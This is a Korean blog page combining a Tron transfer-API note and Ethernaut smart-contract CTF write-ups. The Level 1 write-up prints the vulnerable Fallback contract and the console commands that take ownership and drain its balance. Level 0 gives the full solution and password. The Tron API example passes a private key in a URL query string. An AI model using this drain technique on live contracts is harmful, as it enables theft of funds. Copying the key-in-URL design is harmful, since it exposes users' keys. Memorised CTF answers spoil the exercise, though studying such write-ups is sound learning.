send trx 트론 송금

송금은 이전에 작성한 부분이 있어서 쉽게 개발이 가능했다.

 

tron-web 분해하기2(transactionBuilder.sendTrx)

http://iesay.tistory.com/104

보내는 from주소는 개인키에서 추출이 가능하기 때문에 인자를

구지 넣지 않아도 된다.

 

 

http://192.168.0.118:3000/sendToken?PK=개인키&value=1000000&toAddress

=받는사람 주소

 

 

이상으로 nodejs express를 활용한

 

계좌생성, 잔액(대역폭)조회, 송금 API를 제작해 보았다.

 

 

블록체인으로 암호화폐 구현하면서 가장 큰 부분이 이론을 알고 생각을 하면서

코딩을 해야 된다. 이게 좀 많은 초심자들의 장벽이 아닐까 한다.

 

비동기 방식에 대한 이해를 많이 하게 되었다

왜 콜백지옥에 빠지는지 콜백 환경에서 왜 디버깅 하기가 힘든지

실력이 없어서 한 일주일 정도 걸린거 같다.

 

이제 트랜젝션 조회 제작해보자.

 

 

 

 

 

 

 

 

 

'트론' 카테고리의 다른 글

tron Token Balance (trc10)  (0) 2019.01.29
TronScan(제작 완료)  (0) 2019.01.10
tron-web 분해하기5(createToken)  (0) 2018.12.20
tron-web 분해하기4(getTransactionstoAddress)  (0) 2018.12.19
tron-web 분해하기3(getTransactionsFromAddress)  (0) 2018.12.18
블로그 이미지

iesay

,

레벨 1. Fallback

https://ethernaut.zeppelin.solutions/level/0x234094aac85628444a82dae0396c680974260be7

 

 

Look carefully at the contract's code below.

You will beat this level if

  1. you claim ownership of the contract
  2. you reduce its balance to 0

  Things that might help

  • How to send ether when interacting with an ABI
  • How to send ether outside of the ABI
  • Converting to and from wei/ether units -see help() command-
  • Fallback methods

 

자 다음 문제다.

 

계약의 소유권을 뺏고  Root권한을 뺏는것과 비슷하다.

 

해커들은 먼가를 뺏어야된다?!

 

그리고 잔액을 0을 만들라고 한다.

 

Untitled.sol

pragma solidity ^0.4.18;

import './Ownable.sol';

contract Fallback is Ownable {

  mapping(address => uint) public contributions;

  function Fallback() public {
    contributions[msg.sender] = 1000 * (1 ether);
  }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(this.balance);
  }

  function() payable public {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }

 

 

 

Ownable.sol

pragma solidity ^0.4.18;


/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 * functions, this simplifies the implementation of "user permissions".
 */
contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }

  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  /**
   * @dev Allows the current owner to transfer control of the contract to a newOwner.
   * @param newOwner The address to transfer ownership to.
   */
  function transferOwnership(address newOwner) public onlyOwner {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

 

 

 

 

pragma solidity ^0.4.18버전이다 그러면

select에서  0.4.18의 최신버전을 맞추어 주고

 

Auto complie 옵션을 체크하는게 좋다.

버전 안맞아서 에러 뜨는 경우가 흔하다.

 

import에서 Ownable.sol파일과 함께 컴파일 된다.

 

 

 

 

 

 

 

문제 소스를 보면 contribute()를 실행하는데 이더를 0.001 ether보다

작게 보내면  오너 권한을 잠시 빌리게 된다.

 

 

그리고 withdraw()를 실행하면

owner.transfer(this.balance);

 

잔액을 가지고 오는 형태다.

플레이어주소 = 메타마스크 주소다.

 

메타마스크가 자바스크립트로 되어 있어서

호환된다.

 

이문제는 솔리디티 컴파일 안해도 풀수 있는 문제이긴 하다.

 

 

오너 주소 확인

await contract.owner()
"0x234094aac85628444a82dae0396c680974260be7"

플레이어 주소 확인

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f

 

계약 인스턴스 확인 contract.address

instance
"0xf14cc443e95edb000962252225468bce8442a8aa"

메타마스크로 인스턴스 주소로 송금 0.0001 eth

오너 주소 플레이어주소로  바뀌었음
await contract.owner()
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

플레이어주소

player
"0xaf68271884a8c204342d876d85d55b56c7c45d1f"

 

계좌 확인

await getBalance(instance)
"0.0021"

취약한 함수 실행 오너권한으로 계좌 훔치기

contract.withdraw()
Promise {<pending>}

 

계좌가 0원된거 확인

await getBalance(instance)
"0"

 

 


 

 

처음은 두 주소가 다르지만

권한을 획득하면 두 주소가 같게 되면서 다음문제를 풀수 있다.

 

 

메타마스크를 통해 인스턴스 주소를 보내면 

owner와 player의 계좌가 동일 한걸 알수 있다.

 

 

 

 

 

스마트컨트렉 취약점은 졸라 무서운게 PK가 없더라도 돈을 빼올수 있다.

 

일반 집이든 근로든 계약서 잘 신경쓰라고 하는것도

 

같은거다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 0. Hello Ethernaut  (0) 2018.12.28
블로그 이미지

iesay

,

요즘 해킹 대회에서도 스마트컨트렉 보안관련 문제가 가끔 나온다.

스마트컨트렉은  온라인 계약이니 이더리움의 솔리디티관련 CTF 도장깨기를

시작해 볼까 한다.

 

생각보다 문제 많이 까다롭다.

천천히 올클을 목표로!!

 

레벨 0. Hello Ethernaut

https://ethernaut.zeppelin.solutions/level/0xdf51a9e8ce57e7787e4a27dd19880fd7106b9a5c

 

This level walks you through the very basics of how to play the game.

블록체인은 remote exploit 처럼 특정 contract에 계속 먼가를 던저야 되니

중간에 gdb처럼 디버깅되는 과정을 보기 힘들다.

그래서 다른 wargame과 다르게 조금 풀기가 까다로울수도 있다.

그리고 또 개념을 잘 잡아야 된다. Dapp을 만들던 메인넷을 하던 컨트렉을 짜던

개념이 아주 중요하다.

UTXO를 모르고 BTC지갑을 만들수 있을가?

이론적인 부분도 아주 중요한 부분이 된다.

1. Set up MetaMask
2. Open the browser's console
3. Use the console helpers
4. The ethernaut contract
5. Interact with the ABI
6. Get test ether
7. Getting a level instance
8. Inspecting the contract
9. Interact with the contract to complete the level 

설명은 차근 차근 읽어 보도록 한다.

0단계는 쉽다.

  

메타마스크 연동해서  롭스톤 테스트넷 연동하고 그런건 알아서 타 블로그를

참고 하길 바란다.

 

Get New instance를 하면 메타마스크에서 컨트렉을 하나 보낼수 있다.

크롬 개발자 도구 F12눌러서 Console에서 진행하면 된다.

 

블록체인은 동기 비동기라서 await와 sync를 잘 활용해야된다

자바스크립트 특징상 한꺼번에 처리 할려구 하니 모든 구문은

서버랑 통신하는 모든 구문은 거의 await를 쓴다고 보면된다.

 소스 코드는 원본 홈페이지를 참고하고 write up만 나열한다.

await contract.info()
"You will find what you need in info1()."


await contract.info1()
"Try info2(), but with "hello" as a parameter."


await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."

await contract.infoNum()
t {s: 1, e: 1, c: Array(1)}c: [42]e: 1s: 1__proto__: Object


await contract.info42()
"theMethodName is the name of the next method."


await contract.theMethodName()
"The method name is method7123949."

await contract.method7123949()
"If you know the password, submit it to authenticate()."

await contract.password()

ethernaut0


await contract.authenticate('ethernaut0')
{tx: "0x9f6c29c29b5397f6df441d4eddb6ae82b89818e57f40635f37eec6ac9153205d", receipt: {…}, logs: Array(0)} 

 

 

Submit instance를 누러 메타마스크를 실행하면

Pendding이 완료되면

다음 단계로 넘어 간다.

 

 

 

'Ethernaut' 카테고리의 다른 글

ethernaut.zeppelin.solutions 1. Fallback  (0) 2018.12.28
블로그 이미지

iesay

,

테스트넷에 Token 생성  내일 뜯어보자

출처 : https://github.com/TronWatch/Desktop-Wallet/tree/master/app/components/Tokens

API : https://developers.tron.network/v3.0/reference#createtoken

 

 

메인넷은 마법사 보고 따라하면 생성 가능

https://www.youtube.com/watch?v=7cQrkHUijbo

블로그 이미지

iesay

,